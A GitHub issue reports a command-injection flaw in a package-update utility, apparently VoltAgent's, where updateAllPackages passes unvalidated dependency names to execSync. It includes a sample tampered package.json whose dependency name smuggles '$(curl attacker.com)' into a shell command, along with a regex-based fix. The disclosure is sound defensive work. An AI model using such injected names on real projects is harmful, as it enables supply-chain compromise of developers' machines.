Skip to content

[BUG] updateAllPackages missing command injection protection present in updateSinglePackage #1205

@CrepuscularIRIS

Description

@CrepuscularIRIS

Bug Description

updateAllPackages() concatenates package names from package.json directly into shell commands passed to execSync() without validation. The sibling function updateSinglePackage() validates package names against a regex (/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/), but updateAllPackages() does not.

Location

packages/core/src/utils/update/index.ts:335-369

Reproduction

If a package.json contains a tampered dependency name (e.g., via a malicious PR or dependency confusion):

{
  "dependencies": {
    "@voltagent/core": "^1.0.0",
    "@voltagent/exploit$(curl attacker.com)": "^1.0.0"
  }
}

When the update check runs, updateAllPackages at line 337 maps this to:

@voltagent/exploit$(curl attacker.com)@latest

At line 348, this becomes:

pnpm add @voltagent/exploit$(curl attacker.com)@latest

Which is passed to execSync(command, ...) at line 369, executing the injected command.

Impact

Command injection if package.json is tampered with. This requires a prior compromise of the package.json (e.g., via malicious PR, supply chain attack, or developer machine compromise), making it a P1 severity — not directly exploitable from an HTTP endpoint, but a missing defense-in-depth where the sibling function already has the fix.

Suggested Fix

Apply the same validation that updateSinglePackage already uses:

const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;

const packagesToUpdate = updateCheckResult.updates
  .filter((pkg) => pkg.type !== "latest")
  .filter((pkg) => isValidPackageName.test(pkg.name))  // Add this line
  .map((pkg) => `${pkg.name}@latest`);

Or better yet, extract the validation into a shared helper used by both functions.


Found via codebase analysis. Happy to submit a PR if confirmed.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions